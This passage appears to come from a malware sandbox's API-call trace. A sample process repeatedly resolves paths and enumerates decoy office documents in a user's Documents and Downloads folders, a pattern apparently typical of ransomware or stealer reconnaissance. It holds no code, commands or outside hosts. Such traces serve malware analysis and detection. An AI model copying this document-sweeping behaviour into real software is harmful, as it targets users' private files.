lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.340] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e780) returned 1 [0080.340] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.340] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\", nBufferLength=0x105, lpBuffer=0x1ca2e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\", lpFilePart=0x0) returned 0x69 [0080.340] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\*", lpFindFileData=0x1ca2e420 | out: lpFindFileData=0x1ca2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1405e8b0, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xdf872600, ftLastAccessTime.dwHighDateTime=0x1d5e105, ftLastWriteTime.dwLowDateTime=0xdf872600, ftLastWriteTime.dwHighDateTime=0x1d5e105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a950 [0080.340] FindNextFileW (in: hFindFile=0x1a62a950, lpFindFileData=0x1ca2e500 | out: lpFindFileData=0x1ca2e500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1405e8b0, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xdf872600, ftLastAccessTime.dwHighDateTime=0x1d5e105, ftLastWriteTime.dwLowDateTime=0xdf872600, ftLastWriteTime.dwHighDateTime=0x1d5e105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.342] FindNextFileW (in: hFindFile=0x1a62a950, lpFindFileData=0x1ca2e500 | out: lpFindFileData=0x1ca2e500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aacdfd0, ftCreationTime.dwHighDateTime=0x1d5e092, ftLastAccessTime.dwLowDateTime=0xc9a93000, ftLastAccessTime.dwHighDateTime=0x1d5d7ad, ftLastWriteTime.dwLowDateTime=0xc9a93000, ftLastWriteTime.dwHighDateTime=0x1d5d7ad, nFileSizeHigh=0x0, nFileSizeLow=0x2601, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEZCupb_hEuu.ots", cAlternateFileName="WEZCUP~1.OTS")) returned 1 [0080.342] FindNextFileW (in: hFindFile=0x1a62a950, lpFindFileData=0x1ca2e500 | out: lpFindFileData=0x1ca2e500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aacdfd0, ftCreationTime.dwHighDateTime=0x1d5e092, ftLastAccessTime.dwLowDateTime=0xc9a93000, ftLastAccessTime.dwHighDateTime=0x1d5d7ad, ftLastWriteTime.dwLowDateTime=0xc9a93000, ftLastWriteTime.dwHighDateTime=0x1d5d7ad, nFileSizeHigh=0x0, nFileSizeLow=0x2601, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEZCupb_hEuu.ots", cAlternateFileName="WEZCUP~1.OTS")) returned 0 [0080.342] FindClose (in: hFindFile=0x1a62a950 | out: hFindFile=0x1a62a950) returned 1 [0080.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e760) returned 1 [0080.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e750) returned 1 [0080.343] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.343] FindClose (in: hFindFile=0x1a62a8f0 | out: hFindFile=0x1a62a8f0) returned 1 [0080.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e7c0) returned 1 [0080.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e7b0) returned 1 [0080.343] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb70b1260, ftCreationTime.dwHighDateTime=0x1d5dfd2, ftLastAccessTime.dwLowDateTime=0xdda9cb0, ftLastAccessTime.dwHighDateTime=0x1d5e748, ftLastWriteTime.dwLowDateTime=0xdda9cb0, ftLastWriteTime.dwHighDateTime=0x1d5e748, nFileSizeHigh=0x0, nFileSizeLow=0x120ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mto-1mF6wn0kno.pdf", cAlternateFileName="MTO-1M~1.PDF")) returned 1 [0080.343] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38568ff0, ftCreationTime.dwHighDateTime=0x1d5e502, ftLastAccessTime.dwLowDateTime=0xb2b178e0, ftLastAccessTime.dwHighDateTime=0x1d5e6fc, ftLastWriteTime.dwLowDateTime=0xb2b178e0, ftLastWriteTime.dwHighDateTime=0x1d5e6fc, nFileSizeHigh=0x0, nFileSizeLow=0x12f1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NpA.doc", cAlternateFileName="")) returned 1 [0080.343] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b802b50, ftCreationTime.dwHighDateTime=0x1d5d9fc, ftLastAccessTime.dwLowDateTime=0xe5360b80, ftLastAccessTime.dwHighDateTime=0x1d5d808, ftLastWriteTime.dwLowDateTime=0xe5360b80, ftLastWriteTime.dwHighDateTime=0x1d5d808, nFileSizeHigh=0x0, nFileSizeLow=0x7cf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="REfzHcN7Ov.ods", cAlternateFileName="REFZHC~1.ODS")) returned 1 [0080.344] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2abf8a20, ftCreationTime.dwHighDateTime=0x1d5db9a, ftLastAccessTime.dwLowDateTime=0xb86db0c0, ftLastAccessTime.dwHighDateTime=0x1d5e321, ftLastWriteTime.dwLowDateTime=0xb86db0c0, ftLastWriteTime.dwHighDateTime=0x1d5e321, nFileSizeHigh=0x0, nFileSizeLow=0x8948, dwReserved0=0x0, dwReserved1=0x0, cFileName="SfoYJX8aL6-wPv14Ry.pps", cAlternateFileName="SFOYJX~1.PPS")) returned 1 [0080.344] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2abf8a20, ftCreationTime.dwHighDateTime=0x1d5db9a, ftLastAccessTime.dwLowDateTime=0xb86db0c0, ftLastAccessTime.dwHighDateTime=0x1d5e321, ftLastWriteTime.dwLowDateTime=0xb86db0c0, ftLastWriteTime.dwHighDateTime=0x1d5e321, nFileSizeHigh=0x0, nFileSizeLow=0x8948, dwReserved0=0x0, dwReserved1=0x0, cFileName="SfoYJX8aL6-wPv14Ry.pps", cAlternateFileName="SFOYJX~1.PPS")) returned 0 [0080.344] FindClose (in: hFindFile=0x1a62a890 | out: hFindFile=0x1a62a890) returned 1 [0080.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e820) returned 1 [0080.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e810) returned 1 [0080.344] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe55d0080, ftCreationTime.dwHighDateTime=0x1d5d931, ftLastAccessTime.dwLowDateTime=0x3630e840, ftLastAccessTime.dwHighDateTime=0x1d5e27a, ftLastWriteTime.dwLowDateTime=0x3630e840, ftLastWriteTime.dwHighDateTime=0x1d5e27a, nFileSizeHigh=0x0, nFileSizeLow=0xd551, dwReserved0=0x0, dwReserved1=0x0, cFileName="g7XU OZHaMD4v8MRlf.ppt", cAlternateFileName="G7XUOZ~1.PPT")) returned 1 [0080.344] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99080fd0, ftCreationTime.dwHighDateTime=0x1d5d96e, ftLastAccessTime.dwLowDateTime=0xa7fbbd0, ftLastAccessTime.dwHighDateTime=0x1d5ddda, ftLastWriteTime.dwLowDateTime=0xa7fbbd0, ftLastWriteTime.dwHighDateTime=0x1d5ddda, nFileSizeHigh=0x0, nFileSizeLow=0x17474, dwReserved0=0x0, dwReserved1=0x0, cFileName="JcCAKy.xls", cAlternateFileName="")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14ad40a0, ftCreationTime.dwHighDateTime=0x1d5e3fc, ftLastAccessTime.dwLowDateTime=0xd1897930, ftLastAccessTime.dwHighDateTime=0x1d5e782, ftLastWriteTime.dwLowDateTime=0xd1897930, ftLastWriteTime.dwHighDateTime=0x1d5e782, nFileSizeHigh=0x0, nFileSizeLow=0x18f45, dwReserved0=0x0, dwReserved1=0x0, cFileName="koqoe.rtf", cAlternateFileName="")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc05b1e00, ftCreationTime.dwHighDateTime=0x1d5e30b, ftLastAccessTime.dwLowDateTime=0x9911a2e0, ftLastAccessTime.dwHighDateTime=0x1d5dd36, ftLastWriteTime.dwLowDateTime=0x9911a2e0, ftLastWriteTime.dwHighDateTime=0x1d5dd36, nFileSizeHigh=0x0, nFileSizeLow=0x1556c, dwReserved0=0x0, dwReserved1=0x0, cFileName="StvSmXCkKAQoPtSJMaw.ppt", cAlternateFileName="STVSMX~1.PPT")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e7c89a0, ftCreationTime.dwHighDateTime=0x1d5dd7e, ftLastAccessTime.dwLowDateTime=0x84bce910, ftLastAccessTime.dwHighDateTime=0x1d5e341, ftLastWriteTime.dwLowDateTime=0x84bce910, ftLastWriteTime.dwHighDateTime=0x1d5e341, nFileSizeHigh=0x0, nFileSizeLow=0x8773, dwReserved0=0x0, dwReserved1=0x0, cFileName="VmPnMr3iX4.pps", cAlternateFileName="VMPNMR~1.PPS")) returned 1 [0080.345] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e7c89a0, ftCreationTime.dwHighDateTime=0x1d5dd7e, ftLastAccessTime.dwLowDateTime=0x84bce910, ftLastAccessTime.dwHighDateTime=0x1d5e341, ftLastWriteTime.dwLowDateTime=0x84bce910, ftLastWriteTime.dwHighDateTime=0x1d5e341, nFileSizeHigh=0x0, nFileSizeLow=0x8773, dwReserved0=0x0, dwReserved1=0x0, cFileName="VmPnMr3iX4.pps", cAlternateFileName="VMPNMR~1.PPS")) returned 0 [0080.345] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf40bb170, ftCreationTime.dwHighDateTime=0x1d5d991, ftLastAccessTime.dwLowDateTime=0x36e2a030, ftLastAccessTime.dwHighDateTime=0x1d5e658, ftLastWriteTime.dwLowDateTime=0x36e2a030, ftLastWriteTime.dwHighDateTime=0x1d5e658, nFileSizeHigh=0x0, nFileSizeLow=0x14ce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VDYFV7fo3iGrYYNBhN.ods", cAlternateFileName="VDYFV7~1.ODS")) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234f8650, ftCreationTime.dwHighDateTime=0x1d5e26b, ftLastAccessTime.dwLowDateTime=0xcca33f50, ftLastAccessTime.dwHighDateTime=0x1d5e615, ftLastWriteTime.dwLowDateTime=0xcca33f50, ftLastWriteTime.dwHighDateTime=0x1d5e615, nFileSizeHigh=0x0, nFileSizeLow=0x153e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="W7-B1o7u.csv", cAlternateFileName="")) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6407c370, ftCreationTime.dwHighDateTime=0x1d5e13e, ftLastAccessTime.dwLowDateTime=0x34cc7b00, ftLastAccessTime.dwHighDateTime=0x1d5e7c4, ftLastWriteTime.dwLowDateTime=0x34cc7b00, ftLastWriteTime.dwHighDateTime=0x1d5e7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="_GeWne1isO.pdf", cAlternateFileName="_GEWNE~1.PDF")) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6407c370, ftCreationTime.dwHighDateTime=0x1d5e13e, ftLastAccessTime.dwLowDateTime=0x34cc7b00, ftLastAccessTime.dwHighDateTime=0x1d5e7c4, ftLastWriteTime.dwLowDateTime=0x34cc7b00, ftLastWriteTime.dwHighDateTime=0x1d5e7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="_GeWne1isO.pdf", cAlternateFileName="_GEWNE~1.PDF")) returned 0 [0080.347] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbcb59f0, ftCreationTime.dwHighDateTime=0x1d55ce2, ftLastAccessTime.dwLowDateTime=0x67f46290, ftLastAccessTime.dwHighDateTime=0x1d5ab6a, ftLastWriteTime.dwLowDateTime=0x67f46290, ftLastWriteTime.dwHighDateTime=0x1d5ab6a, nFileSizeHigh=0x0, nFileSizeLow=0x9e8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zGgdIW-97J_.xlsx", cAlternateFileName="ZGGDIW~1.XLS")) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b07da0, ftCreationTime.dwHighDateTime=0x1d56145, ftLastAccessTime.dwLowDateTime=0x3bf6c240, ftLastAccessTime.dwHighDateTime=0x1d5c894, ftLastWriteTime.dwLowDateTime=0x3bf6c240, ftLastWriteTime.dwHighDateTime=0x1d5c894, nFileSizeHigh=0x0, nFileSizeLow=0xd70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZOqysEitRTeh33UX-C8.xlsx", cAlternateFileName="ZOQYSE~1.XLS")) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b07da0, ftCreationTime.dwHighDateTime=0x1d56145, ftLastAccessTime.dwLowDateTime=0x3bf6c240, ftLastAccessTime.dwHighDateTime=0x1d5c894, ftLastWriteTime.dwLowDateTime=0x3bf6c240, ftLastWriteTime.dwHighDateTime=0x1d5c894, nFileSizeHigh=0x0, nFileSizeLow=0xd70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZOqysEitRTeh33UX-C8.xlsx", cAlternateFileName="ZOQYSE~1.XLS")) returned 0 [0080.347] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.348] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0080.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 